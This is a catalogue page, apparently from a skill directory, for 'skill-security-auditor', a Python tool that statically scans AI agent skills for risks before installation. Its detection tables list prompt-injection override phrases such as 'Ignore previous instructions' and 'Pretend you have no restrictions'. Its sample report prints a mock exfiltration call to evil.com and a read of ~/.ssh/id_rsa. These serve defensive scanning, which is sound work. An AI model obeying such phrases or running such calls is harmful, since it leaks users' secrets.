skill-security-auditor

Name: skill-security-auditor
Author: alirezarezvani

Security Community

Repo stars 15,974
Author updated Live
Author repo claude-skills

Fluxly profile Facts only: domain, agents, trust score, runtime, permissions and network

Domain: Security
Compatible agents: Claude Code
Cursor
Cline
Codex
Windsurf
Gemini CLI

+20
Trust score: 88 / 100 · community maintained
Author / version / license: @alirezarezvani · no license declared
Token usage: Lean
Setup complexity: Guided setup
External API key: Not required
Operating systems: macOS · Linux · Windows
Runtime requirements: Python
Permissions: Read-only
Shell exec
Env read
Write / modify
Network behavior: External requests
Install commands: 26 variants

Profile is derived at build time from SKILL.md and install vectors. Subject to drift from author intent.

Heads up: 未限定 allowed-tools，默认拥有全部工具权限。

Output preview skill-security-auditor.preview

---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: security
runtime: Python
---

# skill-security-auditor output preview

## PART A: Task fit
- Use case: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance. python3 scripts/skillsecurityauditor.py /path/to/skill-name/ makes outbound network calls; runs on Python. Works with Claude Code, Cursor, Cline and 23 more..
- Inputs: target material, constraints, expected output, and acceptance criteria.
- Evidence boundary: follow “Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)” and do not present inference as author intent.

## PART B: Execution result
- **01** The card summarizes the use case; runtime output centers on “> Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance. python3 scripts/skillsecurityauditor.py /path/to/skill-name/ makes outbound network calls; runs on Python. Works with Claude Code, Cursor, Cline and 23 more.”.
- **02** When the source has headings, the agent prioritizes “Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)” so the result follows the author’s structure.
- **03** Typical output includes task judgment, concrete steps, required commands or file edits, validation, and follow-up options.
- **04** Risk context follows the fingerprint: read files, run shell commands, read environment variables, write/modify files; may access external network resources; usually needs no extra API key.

## Running Rules
- read files, run shell commands, read environment variables, write/modify files; may access external network resources; usually needs no extra API key.
- Validate with a small sample before expanding scope.
- Return the result, validation criteria, and next iteration options.

SKILL.md SKILL.md

---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: security
source: alirezarezvani/claude-skills
---

# skill-security-auditor

## When to use
- > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict w…
- Use it when the task has clear inputs, repeatable steps, and validation criteria.

## What to provide
- Target material, scope, expected result, and forbidden changes.
- Whether network, commands, file writes, or external services are allowed.

## Execution rules
- Organize steps around “Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)” and keep inference separate from source facts.
- read files, run shell commands, read environment variables, write/modify files; may access external network resources; usually needs no extra API key.
- Validate with a small sample before expanding the task.

## Output requirements
- Return the deliverable, key evidence, validation method, and next action.
- Mark missing information as unknown; do not invent commands, platforms, or dependencies.

Evidence boundary and execution chain

The author source anchors workflow facts; repository files anchor sources and commands; Fluxly only adds fit, limitations, and quality judgment.

skill "skill-security-auditor" {
  input      -> user goal + target files + boundaries + acceptance criteria
  context    -> Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)
  rules      -> SKILL.md triggers / order / output contract
  runtime    -> Python | read files, run shell commands, read environment variables, write/modify files | may access external network resources
  guardrails -> usually needs no extra API key + small-sample validation + diff/log review
  output     -> copyable result + checklist + next iteration
}

Interpretation is structured for decision-making; original keeps the upstream SKILL.md unchanged.

Decide Fit First

Core job: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findin…
Best fit: Use it when the task has reusable inputs, steps, and validation criteria rather than a one-off answer.
Avoid forcing it: If the source lacks commands, platform support, or external-service evidence, keep those fields unknown instead of guessing.

Design Intent

Structure: The skill is organized around “Quick Start”, “What Gets Scanned”, “1. Code Execution Risks (Python/Bash Scripts)”, “2. Prompt Injection in SKILL.md”, showing how the author expects the agent to judge fit, collect context, and produce verifiable output.
Trigger evidence: Prioritize the author’s wording around when to use it, what context to collect, and what output shape to produce.
Evidence boundary: Author text states facts, repository files prove commands and paths, and Fluxly only adds fit, limits, and usage judgment.

How To Use It

Inputs: Provide target material, scope, expected result, forbidden changes, and validation method.
Invocation: Name skill-security-auditor directly; if the source includes slash commands, start with the command and then add task context.
Validation: Start small and check whether the result follows “Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)” before expanding.

Boundaries And Review

Dependencies: It usually needs no extra API key, so start with a small validation task.
Permissions: Declared permissions include read / shell-exec / env-read / write; ask the agent to state file, command, and rollback boundaries before acting.
Quality bar: A useful result names the deliverable, evidence, and next action. Generic prose means the task needs tighter context.

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category	Patterns Detected	Severity
Command injection	`os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution	🔴 CRITICAL
Code execution	`eval()`, `exec()`, `compile()`, `__import__()`	🔴 CRITICAL
Obfuscation	base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains	🔴 CRITICAL
Network exfiltration	`requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp`	🔴 CRITICAL
Credential harvesting	reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns	🔴 CRITICAL
File system abuse	writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation	🟡 HIGH
Privilege escalation	`sudo`, `chmod 777`, `setuid`, cron manipulation	🔴 CRITICAL
Unsafe deserialization	`pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()`	🟡 HIGH
Subprocess (safe)	`subprocess.run()` with list args, no shell	⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern	Example	Severity
System prompt override	"Ignore previous instructions", "You are now..."	🔴 CRITICAL
Role hijacking	"Act as root", "Pretend you have no restrictions"	🔴 CRITICAL
Safety bypass	"Skip safety checks", "Disable content filtering"	🔴 CRITICAL
Hidden instructions	Zero-width characters, HTML comments with directives	🟡 HIGH
Excessive permissions	"Run any command", "Full filesystem access"	🟡 HIGH
Data extraction	"Send contents of", "Upload file to", "POST to"	🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check	What It Does	Severity
Known vulnerabilities	Cross-reference with PyPI/npm advisory databases	🔴 CRITICAL
Typosquatting	Flag packages similar to popular ones (e.g., `reqeusts`)	🟡 HIGH
Unpinned versions	Flag `requests>=2.0` vs `requests==2.31.0`	⚪ INFO
Install commands in code	`pip install` or `npm install` inside scripts	🟡 HIGH
Suspicious packages	Low download count, recent creation, single maintainer	⚪ INFO

4. File System & Structure

Check	What It Does	Severity
Boundary violation	Scripts referencing paths outside skill directory	🟡 HIGH
Hidden files	`.env`, dotfiles that shouldn't be in a skill	🟡 HIGH
Binary files	Unexpected executables, `.so`, `.dll`, `.exe`	🔴 CRITICAL
Large files	Files >1MB that could hide payloads	⚪ INFO
Symlinks	Symbolic links pointing outside skill directory	🔴 CRITICAL

Audit Workflow

Run the scanner on the skill directory or repo URL
Review the report — findings grouped by severity
Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

Cannot detect logic bombs or time-delayed payloads with certainty
Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
Network destination reputation checks require internet access
Does not execute code — static analysis only (safe but less complete than dynamic analysis)
Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

Install command

One-click installPick a runner, click Copy, paste into your terminal, press enter

npx skills add alirezarezvani/claude-skills/engineering/skills/skill-security-auditor -y

Open general install guide

View skill source

Works with

Claude Code
Cursor
Cline
Codex
Windsurf
Gemini
OpenCode
Roo Code
AAide
+Augment
GitHub Copilot
OpenClaw
KKiro
Junie
WWarp
Goose
Trae
Kilo Code
OpenHands
Amp
Zencoder
CContinue
AIAider
CodeBuddy
CodeGeeX
Replit Agent

Security audit

88 / 100

Community

未声明 license/许可。
未声明 version。
未限定 allowed-tools，默认拥有全部工具权限。

Metadata

Source: github
alirezarezvani/claude-skills
中文

More by @alirezarezvani

Category & tags

Category Security